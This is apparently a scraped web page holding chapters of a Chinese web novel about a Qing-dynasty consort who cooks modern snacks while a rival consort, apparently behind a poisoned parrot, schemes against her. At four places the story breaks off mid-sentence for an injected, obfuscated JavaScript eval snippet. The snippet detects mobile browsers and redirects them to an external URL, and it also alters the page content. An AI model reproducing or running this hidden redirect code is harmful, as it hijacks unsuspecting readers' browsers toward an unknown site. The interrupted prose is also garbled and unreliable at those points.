不等李德禄回答,胤祺便自顾自地叹了口气:“算了,那个没良心的,指不定自己偷着做什么好吃的呢?也不给爷送点儿过来。” 察觉到胤祺话里的委屈,李德禄悄悄咽了口唾沫,连忙说道:“回禀五爷,刘庶福晋近日做了一种奶茶,看着像龟苓膏,却是甜口的,庶福晋估摸着五爷不好这个,就没送过来,至于其他的一些甜食,不是爷您喜欢的,也上不了什么台面。” 而且那奶茶里放的东西有点怪,看着像粥,不大像喝的,爆米花倒是香喷喷的,他去给马格格送东西的时候,路过青芜院闻了一阵子,糖味儿顺着风就钻进鼻子里,甜到人心坎,找刘菽圆要了一把解馋,这才舒服了。 胤祺眉头微蹙,也没心思继续练字,把紫毫笔挂回了笔架上:“这还是小厨房没修好,要真修好了,她怕是更无法无天了。” 他说完又悄悄嘟囔了一句:“都七八天了,这个刘氏就这么沉得住气?” * 青芜院不像绛水院那般热闹,送礼的小太监像一连串的贪吃蛇似的,春芽他们每人捧着个小碗吃东西,忙得连说话的功夫都没了。 刘菽圆月事一向不准,这次也是三天左右就干净了,没了身体上的烦恼,她自然又开始大吃大喝。 黑色仙草冻质地软嫩,小勺一搅,微微颤动,加上软糯香甜的红豆,红薯、芋头、紫薯、南瓜搓成的各色芋圆,香脆的花生碎、酸甜的葡萄干,小小的碗里装着浅褐色奶茶,被各种小料填得满满当当,炎热的夏日夜晚来上这么一碗,真真是爽翻了。 “爆米花再给我点儿。”刘菽圆刚塞了几颗芋圆,便又冲春芽伸出了手,这爆米花是她用小米做的,有原味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248264|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、焦糖味、海苔味三种,没办法,宫里没有玉米,大米做的总感觉是米花糖,她不大喜欢,便试着用小米做了,炸出来是浅米黄色,放点糖黏在一起,再撒点佐料,也挺好吃。 春芽抬头问她:“庶福晋,要什么味道?” 刘菽圆顺嘴回道:“三拼。” “三拼?”轮到春芽愣神了,“咱们做了这个口味吗?” 刘菽圆笑出了声,她当社畜时买炸鸡总要甜辣、蜂蜜芥末、酸奶三种口味拼在一块儿,刚才竟一顺口直接说了出来。 “三拼就是每种口味都要,焦糖的我吃着太甜了,吃完后奶茶都喝不出味道,少来点就行,原味的多来一些。” 说起炸鸡,她又馋了…… 想到已经好久没吃油炸的垃圾食品,刘菽圆心里立刻打起了算盘子,周公公好像提起明日皇庄会送来几只鲜鸡。 明天做炸鸡! 刘菽圆打了个响指,就这么愉快地决定了。 三人吃着吃着,话题又转到了绛水院。 “主子您听说了吗?绛水院的那只鹦鹉死了。” 春芽觉得奇怪,那鹦鹉可是最好养的品种,也不怎么挑食,连她家主子这种新手都能把金鱼、乌龟养得白白胖胖、生龙活虎的,没道理马格格养不活啊。 刘菽圆:你礼貌吗? “奴婢今儿给主子晒被子,看见两排小太监给绛水院送赏赐,东西多得都堆在门口,玳瑁瞧见奴婢,那下巴翘那么高,她还这样……仰着鼻子看我。”春芽一边说,一边学着玳瑁的动作,逗得刘菽圆咯咯地笑。 可怜啊…… 刘菽圆不由替马佳氏唏嘘,生孩子不止怀的时候辛苦,生了之后更是一堆烦心事,想想她就头疼,连吃了好几口烧仙草才缓了过来。 幸好她没怀。 “主子,您最近怎么不去给五爷送吃的了?”春芽纳闷道,以往刘菽圆无论做些什么,都会叫人给书房送上点,好像这七八日都没有听她提起胤祺了。 “我忘了……”刘菽圆嚼了嚼芋圆,一脸尴尬,“五爷最近应该很忙,课业也多,我还是不要打扰他了。” 可一想到戴嬷嬷的嘱咐,刘菽圆又叹了口气,只好认命:“这会子时辰还早,五爷还在书房练字,一会儿再送吧,记得把方才小碟子里剩的材料都放进去。” 别浪费了。 春芽点了点头,这粥里的东西虽吃着奇怪,可混在一起味道还挺特别,凉丝丝的,也解暑。 “马格格怀了孕,这可是五爷第一个孩子,趁着院里无人,格格要不也抓抓紧?您长得比她好看,又会做好吃的,绝对比她得宠。” 她?刘菽圆指了指自己,咸鱼中,勿扰! “马格格刚怀上,就得了这么多奖赏,她这胎本来是孙太医负责的,但刚才听小全子说换成徐太医了。” 徐太医?一直给她诊脉的那个太医? 直觉告诉刘菽圆这其中不太对劲,但咸鱼的本性叫她懒得细想,懒得掺和。 什么孙太医、徐太医,和她刘某人无关,她只顾自己吃吃喝喝开开心心就是。 “吃完烧仙草就各回各屋,明天咱们做炸鸡吃!”这边刘菽圆正美滋滋地想念炸鸡的美味,此时,慢条斯理地吃完一碗烧仙草奶茶粥的佩兰放下碗勺,擦了擦嘴,然后说了一句很“不合时宜”的话。 “马格格的鹦鹉,是被毒死的。” 22. 第 22 章 第二十二章 此时屋内的气氛安静得像等待高考结果,一片诡异,三人各怀心思,不知道在想些什么。 刘菽圆挠了挠头,这都聊了多少个话题了,她怎么突然提起这茬了? 佩兰却眼神认真:“刚才我在吃东西,没顾上说话。” 言外之意,现在有空了。 “或许马格格像我一样,总想给鹦鹉喂点东西,是不小心的呢。”刘菽圆干笑一声打破沉默,她倒也不是给马佳氏推脱,只是体内咸鱼的本能正在叫嚣,提醒她千万别多管闲事。 “不可能。” 佩兰坚决摇头,“绛水院的小安子和奴婢在养牲处待过一阵子,他知道如何喂养鹦鹉,而且奴婢发现之前在院里主子给荣宪公主做樱桃罐头去的核,少了一点。” 佩兰穷苦人家出身,想着这么多樱桃核扔了也是可惜,便向主子开口要了一些,打算挑一部分圆润的做成小手链。可那日她刚清洗干净,听到屋外有动静便出去瞅了一眼,回来就发现原本的三十二颗樱桃核,只剩下二十八颗! 樱桃核虽小,少量即可让鹦鹉中毒。 “会不会你数错了?”春芽蹙眉问道。 “不可能!”佩兰十分笃定,“奴婢的小妹妹特别喜欢樱桃,就是从未尝过。她今年过十二岁生辰,奴婢特意挑了十二颗最大最圆润的留给她,剩下的二十颗是按奴婢的年岁数的,绝不会错。 春芽面露震惊,喃喃道:“那鹦鹉可是五爷赏的,马格格此举……” 刘菽圆沉默不语,她知道佩兰性子古板,绝不会空口白话,但后宫之中,多一事不如少一事。 “我知道了,这事我们三个清楚就好,千万别外传了。”刘菽圆再三嘱咐,“以后遇到绛水院的人也别露出异样,叫他们瞧出来,暗地里留意就是。” 刘菽圆心里清楚,身在后宫,注定躲不过这些腌臜事,可只要没切实伤害到自己或身边的人,她都懒得计较,自己还得在五阿哥院里安安稳稳过几十年咸鱼日子,不想为这些破事费神,可若是哪天真扰了她的清净,打扰了她的美好生活,那她也只能反击。 在这之前,她愿意睁一只眼闭一只眼。 * 转眼到了五月中旬,内务府忙着清点行装,预备康熙去畅春园避暑。 绛水院的鹦鹉死了,往日吵闹的院子一下变得十分安静,胤祺听闻此事,只淡淡“嗯”了一声,并没有追问下去,马佳氏因此松了口气,她对着窗子深呼吸了下,然后坐回镜前,任由玳瑁给她打理长发。 “格格,青芜院那边昨晚让春芽给五爷送了点吃食。”玳瑁轻声禀报。 “哦?”马佳氏感兴趣地转过头,胤祺听到鹦鹉没了并未起疑心,她嘴角忍不住勾起一抹得意的笑,“如今我怀了五爷的长子,她自然着急起来了,我看啊五爷已经厌弃她了,还这般不死心。” 玳瑁也跟着笑,如今主子前程似锦,她也跟着水涨船高,得了不少孝敬:“方才奴婢去端安胎药,听到太医院里有人议论,说咱们万岁爷要去畅春园避暑,格格您身怀有孕,五爷一定会带您去的。” 那还用想?马佳氏翻了个白眼:“五爷不带我?难道带青芜院的那位?” 听闻畅春园凉爽宜人,景致秀丽,她早就想去了,但如今才怀了一个多月,可得小心养着。 “安胎药晾凉了就端过来吧,喝完还要去抄佛经。”马佳氏催促着,揉了揉发酸的手腕。 为了把这表面功夫做足,这两日她愣是咬着牙抄了五遍《金刚经》,可把她累坏了,马佳氏盘算着,总得找个机会在五爷面前提一提,好让他知道自己的辛苦和用心。 玳瑁心疼道:“格格昨日就抄了不少,手都快抽筋了,您如今怀着孕,不宜过分辛劳,不如今日歇歇,明日再抄吧。” “那怎么行?”马佳氏叹了口气,可她悄悄动了动手腕,确实有些酸疼。 玳瑁见她神情有变,便顺着她的心思劝说:“小安子字写得不错,不如叫他替您抄一遍,也算他给小阿哥积福了,奴婢陪您四处走一走,透口气也好。” 另一边,青芜院海棠树下,刘菽圆正捧着一只油汪汪的炸鸡腿啃得开心,忽然瞥到马佳氏和玳瑁主仆俩慢悠悠地走了过来。 心情一下就不美丽了。 按理说,刘菽圆是庶福晋,位份比马佳氏高,按规矩马佳氏应向她行礼,可马佳氏却摆出一副白莲花的模样,眼睛瞥了一下桌上的饭食,皱了皱眉:“刘庶福晋,多日不见,没想到喜好依旧没变……”话未说完,像是闻不得炸鸡味道的模样,微微转头,用帕子捂嘴,一副快要吐出来的样子。 真是倒人胃口。 春芽心里翻了个白眼:“马格格有身孕,不在屋里躺着,倒有兴致四处闲逛,今儿这么热的天,您也不怕中暑。” 见她如此放肆,玳瑁立即怼了回来:“我们格格身子强健,就好走动活络筋骨,有何不可?何况……万岁爷正准备去畅春园避暑,我们格格的东西早就收拾好了,今儿好心过来瞧瞧,怎么刘庶福晋还没说什么,你这个下人倒是多嘴起来了。” “你!”春芽被噎得语塞,一时什么都说不出。 刘菽圆听见动静,生怕与马佳氏有肢体上的接触,先把桌上的炸鸡往后撤了撤,又往旁边挪了半步,这才开口:“今儿的确天热,人和人站得太近,难免沾一身汗,我就不凑这个热闹了,我叫膳房做了点炸鸡,三种口味的,刚炸好,皮都是脆的,来点儿?” 马佳氏是真闻不得这油腻味,胃里一阵翻腾,可玳瑁却忍不住咽了咽口水,自从马佳氏开始念佛,就少吃荤腥,连带着她也多日没有吃肉,刚一进门她就被炸鸡的香味馋得不行,那金黄油亮的外皮,鸡肉渗出的肉汁,她哪能抵挡得住。 “这些粗鄙之物还是少吃为妙。”马佳氏强压着不适,指尖攥紧了帕子,强装镇定道,“畅春园的景致华美,空气清新又凉快,院子也比紫禁城的宽敞,闲来无事还能去戏台看戏,去寺庙拜佛,姐姐我呀已经抄好了佛经,正好供奉在园里的佛像前。” 她说完略顿了顿,目光扫过桌上的炸鸡,又望向刘菽圆:“听说畅春园的御厨手艺不错,可惜啊,妹妹只能留在紫禁城,等入了暑,阿哥所里又闷又热,你可怎么办啊?” 这倒不用她操心。 刘菽圆早就算好了。 清代用冰由内务府按等级统一分配,她现在是庶福晋,用冰有限,但仔细盘算也能将就,她还有胤祺赐下的银子,不够了可以托关系买。 等五阿哥和马佳氏一走,她就往院里搭块遮阳布,太阳一遮就没那么热了,后院平日没人过来,到时候让春芽他们一人住一间空房,不用再挤在一起,她每日在屋里可以简单穿个薄衫,热得不行就随时洗澡凉快凉快,闲暇时用冰块做雪糕冰棍、冰沙冰粥冰水什么的,加上之前太后、康熙给的赏赐,绝对会过得超级滋润! 啊,无人打扰的自在生活,想想就美。 刘菽圆没有预想中的失望与落寞,马佳氏像一拳打到了棉花上,憋着气十分不得劲。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258244|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪里猜得到,刘菽圆不仅不期待畅春园之行,还盼着他们走后,独自在院里过无人打扰的快活日子,她只觉得这女人心机越来越深,越发讨厌。 与她形成鲜明对比的是旁边的玳瑁,炸鸡的香味不停缠绕在她鼻尖,她感觉自己快要晕过去了,桌上的炸鸡金黄金黄的,外壳油润,一看就很酥脆,油炸后独特的味道不断刺激着味蕾,她甚至能看到咬开外皮的鸡肉流下的汁水。 “玳瑁?玳瑁!” 马佳氏唤了两次,身边的玳瑁像被定住了,直到马佳氏带着怒气的声音响起,她才猛地惊醒:“格格?怎么了?” 马佳氏被气得脸色发青,哪里还愿意搭理她。 刘菽圆却忽然笑着开口:“我瞅着玳瑁好像很想吃,春芽给她装点回去吧。” 春芽立刻明白她这动作的含义,忍着笑:“是,奴婢这就去。” 玳瑁的脸瞬间变得通红,尽管嘴馋,却又怕马佳氏动怒,立即婉拒:“不用了,不用了,您留着自己吃吧。”说完,赶紧错开视线。 等回了屋,春芽想到刚才马佳氏趾高气昂的样子,气鼓鼓地说:“主子,要不我们也求求五爷,跟着一起去畅春园吧?奴婢实在看不惯马格格那副样子,还念佛抄佛经,我看佛祖也不会收她那份的……” “别生气啦……” 刘菽圆打了个哈欠,伸着懒腰又钻回了被窝。 这马佳氏真是厉害,有身孕的人还到处闲逛,她实在是不理解……有这功夫,睡会儿觉多好! 而且五阿哥院儿这么大,偏偏来她这儿溜达,真是烦人。 * 昨夜那碗烧仙草实在美味,胤祺只当刘菽圆知道错了,特意来找他示好,晚膳后便颇有兴致地往青芜院去,却在廊道遇到了马佳氏,又被“连哄带骗”去了绛水院。 “五爷您瞧,这是奴婢给孩子做的衣衫。”马佳氏捧着一件肚兜,红黄相间的料子上绣着麒麟花纹,正是小阿哥惯用的,“您看这个样式好不好看?” 胤祺心不在焉地点头:“不错。”眼神忽然往窗边望去。 马佳氏注意到,赶忙命玳瑁取来窗台上的佛经,笑着说:“抄写佛经,本是凝神静气之事,奴婢有孕后多抄些,也是给肚子里的孩子积福,自是要亲力亲为。” 说着双手合十,十分真诚的模样,胤祺素日也礼佛,忽然想到四月初八佛祖诞辰时给刘菽圆带的浴佛豆,不由笑了。 马佳氏见他笑了,心中更是得意:“奴婢有孕后,口味变了不少,方才在院里和玳瑁闲聊,不知怎么闻到一股儿怪味,顺着味道一找,竟是妹妹的青芜院,刘庶福晋平日就爱琢磨些奇怪的东西,虽然做的寿司、樱桃罐头都很不错,但奴婢毕竟有孕,妹妹整日如此,奴婢当真无法安心养胎,好在奴婢不日就随五爷去畅春园避暑,也闻不到那些恶心反胃的味道了。” 胤祺听着她的话,又看她一脸娇羞,颇为自得的模样,心中暗暗叹了口气。 其实她若是安分些,改掉之前的性子,他会给她应有的体面,好好养在院里,没想到她怀孕之后反倒变本加厉,眼里的算计比从前更甚,装都不装了。 马佳氏还沉浸在去畅春园的喜悦中,没注意胤祺的脸色越来越沉,见到他起身离开,这才慌了神。 “五爷,您不留下吗?” “不了。”胤祺淡淡道,他一看马佳氏,脑海里就想起那只死去的鹦鹉,心里十分别扭,望着她许久,胤祺终是说道,“你既害喜,便留在绛水院好好养胎,不必跟去畅春园了。” 23. 第 23 章 第二十三章 畅春园是清朝最有名的园林之一,它坐落于京城西北,康熙二十六年竣工,院内景观自然雅淡、颇具江南水乡特色,每年五月到六月,康熙都会携后宫众人来此避暑。 天刚蒙蒙亮,东华门外十二名御前侍卫身着盔甲、腰间配箭,分作两列开路,之后是康熙金黄缎面的銮驾、再往后是太后、妃嫔与阿哥公主们的马车,每驾马车旁都有宫女、太监步行护送,一行人浩浩荡荡,加上中途歇脚,队伍行进的速度难免慢了些,卯时出发,午后才到。 一到畅春园,康熙便下旨,众人先去安排好的住处歇息修整,若有请安问好的,也一律移后。 康熙依旧住在清溪书屋,周边环境清幽,环绕着一条水湖,平日可以批阅奏折、召见大臣。他尤其中意那条水湖,在畅春园住时常常携妃嫔泛舟湖上,偶尔小酌一杯,倒也怡情。 胤礽则住进了西花园的讨源书屋,这是康熙特意为其建造之所。近日康熙忙着筹备征讨噶尔丹之事,太子连住处都没过去,一下马车便与胤褆、胤祉等人径直去了清溪书屋议事。 其他阿哥依据长幼顺序住在西花园以南,嫔妃们则住在各处院落,地位高的如惠宜德荣四妃每人一个独立院落,像贵人、常在这些位份的只能像在紫禁城一样,几人同住一处,虽然不算清静,但日常有个伴儿一起赏花闲聊,也挺好。 太后还是住在寿萱殿,寿萱殿环境静谧,附近还有所小寺庙,方便她日常礼佛。太后年岁已高,路上虽有五公主陪伴侍奉,也因舟车劳顿有些头晕,胤祺亲自去寿萱殿侍疾,等太后睡着才回了住处,戴嬷嬷便一手安排了整个院子的分配。 按规矩,主院的正房是胤祺所住,如今胤祺还未娶正房福晋,近旁的主厢房是空着的,他又只带了刘菽圆一个,戴嬷嬷便拨了主院后侧的小院给她住。院子坐北朝南,十分凉爽,春芽和佩兰两人一间,小全子也被安排住进了门口的耳房。 即使躺在了院里的床榻上,刘菽圆的脑袋还是懵的。 她真的出紫禁城了? 虽然早就做好了胤祺不在时的计划,可来到畅春园却是另一种生活。 与紫禁城相比,在畅春园更自由些,她能偶尔出门找人唠嗑,看看风景什么的。不用像在皇宫那样,每天只能守着自己院子,抬头永远是那四四方方的天。 院子虽然小了点,但五脏俱全,每个阿哥的院里都配了小厨房,胤祺院的正好在她住的小院附近。她还在院里找到一个烤炉,听畅春园的人说可以正常使用,刘菽圆顿时乐了,这不妥妥的烤箱吗?往后就能自己做点蛋黄酥、面包、蛋挞什么的,想想就欢喜。 一想到吃的,刘菽圆行动力十足,觉也不睡了,当即决定试试。 她揉好面团,又往里挤一点樱桃果酱,一个简易版的欧包就做好了,等待烤熟的时间里,刘菽圆又准备了香甜松软的牛奶面包,还往剩余的面团里搁了些红糖,做了点红糖流心的中式面包。 红糖流心得趁热吃,入口后热乎乎,甜丝丝的,就是得小心烫嘴。 “这个床好舒服啊。”刘菽圆一口气吃了三个红糖流心面包,又喝了点凉奶茶,悠哉悠哉地躺回了床榻。 许是这里环境太清爽了,她刚躺了半刻钟,两个眼皮就上下打架,困得她连句话都说不出来了。 春芽将剩下的面包放到柜里,又轻轻给她盖上一条薄毯,准备与佩兰一起逛逛院子,小全子适时过来,冲她们招手:“佟妃娘娘命人分赏各地贡品,瞧,刚成熟的青梅,咱们庶福晋也得了一份。” “给主子送的?”春芽抬眼望去,只见青梅色泽鲜亮,确实不错,可她有些纳闷,“佟妃娘娘怎么突然给主子送东西啊?” 小全子一听,知道自己的话说得不妥,抬手打了下嘴:“瞧我这张嘴!是闽浙总督快马加鞭送来的贡品,佟妃娘娘大方,又关爱众人,连咱们庶福晋都分了一小筐。福建的青梅你们吃过吗?外皮翠绿翠绿的,真是好看,也不知道庶福晋是做蜜饯还是泡酒制酱呢?” “无论做什么,总不会忘了给你一份的。”春芽打趣道,“柜里有庶福晋刚做的馒头,不对,叫什么面包,和馒头挺像,不过松软得像团棉花一样,庶福晋也给你留了,待会想吃自己取啊。” 小全子幸福地笑笑:“还是主子疼我。” 他净身入宫十来年,前后跟过不少主子,挨打挨骂的次数都数不清,有一次差点被废了一条腿,多亏他之前跟了个好师父,师父路子广,用银子保住了他的小命。之后他只想找个安稳的差事,正巧先前伺候刘菽圆的小太监,没瞧上这活计也使了银子,两人正好颠了个个儿。 跟着师父,小全子知晓了不少秘辛,也吃了不少好东西,可这面包却是头一回见。 他挑了个红糖流心的,还没吃,就被表面厚重的芝麻吸引了目光,虽然凉了外皮没那么脆,可一咬下去,仍能尝到烘烤过后那股特别的面粉香,红糖温温热热,咬开后缓缓流出浸润了面包体,黏黏稠稠的红糖裹着松软绵密的面包,一口下去,简直甜到了心坎里。 “五爷惯喜欢咸口,庶福晋做的这三种就牛乳的不算甜,你吃完擦把手给五爷送去吧。”春芽从衣箱里取出刘菽圆的夏装,准备和佩兰一起给衣服熏香。 小全子舔着嘴唇点点头:“太后娘娘有些中暑,五爷急得吃不下饭,这面包好吃,五爷肯定喜欢。” 相比畅春园的一片和谐,紫禁城内却陷入冷清。 马佳芸珞手执毛笔,一手簪花小楷娟秀清丽,左手腕处是一本经折装订的《摩诃般若波罗蜜多心经》,可她却越写越慢,墨汁滴到宣纸上,整个字晕成了一团乌云。 “格格,您喝口水歇歇吧。”玳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258245|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑁心疼地望向她,昨夜到现在颗米未进,整个人憔悴得看不下去。 马佳芸珞回过神,垂眼看到那一团墨渍,忽然伸手直接将其撕成了碎末,望着凌乱的书桌,她淡淡开口:“算着时辰,他们应该到了吧。” 玳瑁自是清楚马佳芸珞指的是康熙爷的圣驾。可她不敢多说什么,只静静听着。 “这院里像个冷宫,安静得能听到我自个儿的心跳。”马佳芸珞停了停,苦笑一声,“畅春园一定很热闹吧……” 玳瑁看她这副样子,实在不忍:“五爷心疼格格和小阿哥,您现在的胎还未坐稳,恐有差池,未免舟车劳顿,五爷这才让您留在绛水院的。” 她孕期尚不足三月,正是胎象不稳,需要静养的时候,去畅春园的路上虽是坐马车,可一路颠簸孕妇也是撑不住的,况且历年万岁爷都会在畅春园待好几个月,再过阵子入了伏,天气一天比一天闷热,格格月份也大了更是难熬,五爷就算看在小阿哥的面上,也会接格格过去的。 宫里的人惯会见风使舵,马佳芸珞自是门儿清。她虽有孕却被留了下来,说好听了是因为她的身子,可那些人哪里会在乎这些,只当是她被胤祺厌弃了,就算有孕也不配去畅春园罢了。 她突然觉得自己之前在青芜院讲的那些话狠狠打到了自己脸上。 “玳瑁。”马佳芸珞忽然唤道,“这一切定是刘菽圆背后搞的鬼,她嫉妒我怀上了五爷的孩子,不惜在背后恶意中伤我,阿哥们都会带女眷去畅春园,我若去不了,那必是她能跟着,五爷一定是受了她的蒙蔽!他如果不再宠幸我了,那我怎么办?我的孩子怎么办?” 玳瑁轻轻拥她入怀,一下一下抚着她的后背:“不是这样的,格格,您千万不要乱想,五爷不是留下徐太医了吗?只要您好好听徐太医的话,安心养胎,等过几个月,五爷就让人接您过去了。” “是吗?” “自然。” 见她神情有所松动,玳瑁松了口气,随即接过瓷碗,吹了吹勺上的黑色汤药,眼神柔软,“娘娘,快喝药吧。” * 刘菽圆其实不大喜欢吃新鲜青梅。 她总觉得青梅吃着有股酸涩味,但她很喜欢这个口味的饮料,尤其有个牌子她上辈子经常喝,她便决定复刻一下。 泡一壶绿茶再将茶叶过滤掉,取一勺新鲜的青梅酱,搅和一下,别说,味儿还挺像,再用井水或冰块冰镇一下,口感更佳。 除了青梅绿茶,她还做了樱桃青梅饮,樱桃酱和青梅酱各取一勺搅匀了即可,酸酸甜甜的,春芽他们都抢着喝,做得太多她一个人也喝不完,便给正房的胤祺送了些。 结果晚上她刚沐浴完躺在床上,就听门外有说话的声音,她呆呆地坐起身,衣服都没披一件,春芽欣喜的声音便传了过来。 “庶福晋,五爷来了。” 24. 第 24 章 第二十四章 “睡得倒早,可是路上累了?” 胤祺今日奔波了整整一天,太后刚到畅春园便觉得有些头疼,他与五公主宁安珠在寿萱殿陪着,又是喂药,又是按摩舒缓,好在经御医诊断,太后只是舟车劳顿,加之天太热有些中暑,喝了安神汤也就睡下了。 他刚从寿萱殿出来,忽地想起刘菽圆,她原先是宫女,又一直住在阿哥所,数年来还是头一回出紫禁城,他有些担心,便立马领着李德禄过来了。 见她精神不错,他也就安心了。 “妾身在马车上就睡了一觉,到了住处又补了个午觉,加起来足足两个时辰呢。” 没办法,畅春园的布置太舒服了,她一沾床就沉沉地闭上眼去见周公,等再睁眼已经日暮了,春芽做了她爱吃的米线,吃完后她又泡了蔷薇花瓣澡,现在身上香喷喷的,十分舒爽。 只是午觉睡得太久,晚上就睡不着了。 胤祺静静躺在床上,听她绘声绘色地讲述在畅春园的见闻,她说话时眉飞色舞,瞳孔里像倒映着满天星河,格外吸引人。 胤祺正听得入神,突然,一阵细微的声响从他的小腹传来,声音不大,可在安静的屋内却格外清晰。 刘菽圆顿时噤了声,悄悄吞咽了下口水,刚刚那声是胤祺的肚子在叫吧?不是她自个儿的吧? “你方才送来的青梅茶很是清爽。”胤祺温声笑了笑,有些不好意思地说,“许是太好喝了,反倒勾起了胃口。” 其实他心里记挂太后的病情,一直没什么胃口,方才听刘菽圆说话时才猛地发觉今日还没用膳,康熙素来推崇“夜食伤脾”,他也不是贪嘴之人,亥时后极少进食。 只是此刻,肚子里竟止不住的饿。 胤祺脸色有些热:“我、我有些饿了,你可有什么吃的?” 春芽和李德禄一早便识趣地守在屋外,屋内只剩两人相对而坐,四周十分安静,只偶尔听到烛芯燃烧传来的“噼啪”声。 望着他有些局促的模样,刘菽圆反而觉得胤祺突然平易近人起来。 “没事!吃!” 刘菽圆太懂他这种感觉了,她也常常半夜犯猪瘾,一夜能开十八回冰箱,所以完全没把他那副尴尬样放在心上。 再说了,吃些夜宵怎么了?她才不信那些“带着饥饿感入睡”的话,反正她自个儿饿的话,翻来覆去都是睡不着的。 刘菽圆又没有半夜打扰人家睡觉的习惯,于是当胤祺开口准备叫李德禄时,刘菽圆忙按住了他的肩膀,秀眉微挑:“五爷喜欢方才的青梅茶,那自然也是喜欢青梅的了?” 见胤祺默认,刘菽圆一把掀开薄被,从床上翻了下去。因着刚沐浴过,她只着件藕荷色软缎寝衣,内里是雅致的素色,宛如初夏的荷花般清雅。 尽管下床时踉跄了下,她也没有丝毫停留,踩着软底鞋就往旁边去。 然后,胤祺收回了半空中的手,眼睁睁地看着她从柜里拿出一盘“馒头”,那馒头外观圆润饱满,表面是金黄色的硬边,下头则是乳白色,还有股淡淡的奶香。 “再等我一下。” 刘菽圆放下圆面包,又从柜里的角落翻出一个缠枝莲小瓷罐,里面是淡淡的青绿色,看起来晶莹透亮,一掀开盖子,青梅的酸甜香气充斥着整个鼻腔,单是闻着,胤祺嘴里便压抑不住地分泌口水。 “这是青梅酱,抹在面包里吃,比单纯吃口感丰富多了,我给你弄一个。”说着,她便熟练地将面包从中间掰开,用薄薄的小刮板挖了少许酱,浓稠的青梅酱缓缓滴落在面包上,刮板轻轻一抹便均匀抹开,再将两块小面包合二为一,中间的青梅酱隐约可见,像他常吃的夹心饽饽一样。 “好了。”刘菽圆把做好的青梅夹心面包递给他,又转身给自己做了个酱多多版本。 看着她的动作,胤祺眼神愈发柔和,脑海中又出现几月前那个半夜偷食地瓜小米粥的小姑娘,嘴角不由弯起一丝弧度。 刘菽圆背对着胤祺咬了一口,正满足地摇脑袋,一转头瞥见他坐在那里,拿着面包小口小口吃,像只呆头鹅似的,立即心虚地往屋外看了一眼,然后踮起脚尖小心翼翼地挪了过去, 推开一道细小的门缝,屋外安静无声,看见春芽早已睡着,刘菽圆这才松了口气。 “春芽这小丫头,从戴嬷嬷那儿领了任务,要管着我的饮食。”刘菽圆挑了挑眉,捧着她的plus版青梅面包笑着说,“不瞒五爷,这面包和青梅酱都是我偷藏的,那小丫头压根不知道。” “五爷,您可不能出卖妾身啊。”刘菽圆凑到胤祺跟前,语气里带了几分撒娇,“不过就算您说了,妾身也不怕。” “为何?” “面包都进肚子了,想赖也赖不掉了。” 这话直接逗得胤祺笑出声来,许是今儿太饿了,他一口气吃了三个。 吃饱后,他接过刘菽圆的素色帕子擦了擦嘴角,心满意足道:“这种吃法不错,面包酥软,不似膳房之前做的米糕或酥饼,倒是格外……饱腹。” 刘菽圆对她亲手做的青梅酱格外自信,她先前已经和春芽商量好了,趁青梅酱还多,做点烤鸭、烤肉,再配上一碟酱解腻,想想就幸福。 “又在偷偷想什么好吃的呢?”胤祺刮了下她的鼻梁,今夜都吃了青梅面包,也该收敛收敛了,“时辰不早了,漱完口就歇息吧。” * 因着刚来畅春园,上书房放了几天假,今儿还能歇息一天,但几位阿哥依旧早早去读书,胤祺也不例外。午间休息时,他把刘菽圆亲手制的青梅绿茶,分了胤禛一些。 胤禛素日爱吃酸,得了这绿茶很是高兴:“我院里的侍妾炖了醋椒鸭汤,五弟一起用些吧。” “不了。”胤祺温声婉拒,说罢便坐起身。 见胤祺要走,胤禛赶忙拦住他,却见胤祺急着吩咐哈哈珠子收拾东西,不由疑惑:“你午后还过来吗?” “不了。”胤祺笑了笑,“皇玛嬷昨日身子就不大爽利,我稍后去寿萱殿瞧瞧,陪她一阵子。” 胤禛知道胤祺素来重视太后,也不再挽留:“皇玛嬷抱恙,有你在身边守着也好,你先过去,我酉时散学再去探望皇玛嬷。” 胤祺点了点头,忽然想起一事:“对了,我的庶福晋刘氏与四哥的格格相识,不知可否叫她们常聚?”女眷不比阿哥,能自由出入畅春园各处,可来都来了,总缩在院子里也是无趣,不如叫她们互相陪着解闷。 这要求没什么不妥,胤禛便欣然同意了。 两人又说了几句告别的话,胤祺便匆匆回了自己院里。 昨日他吃刘菽圆做的面包时,就觉得这东西松软好嚼,皇玛嬷近日没有胃口,或许吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 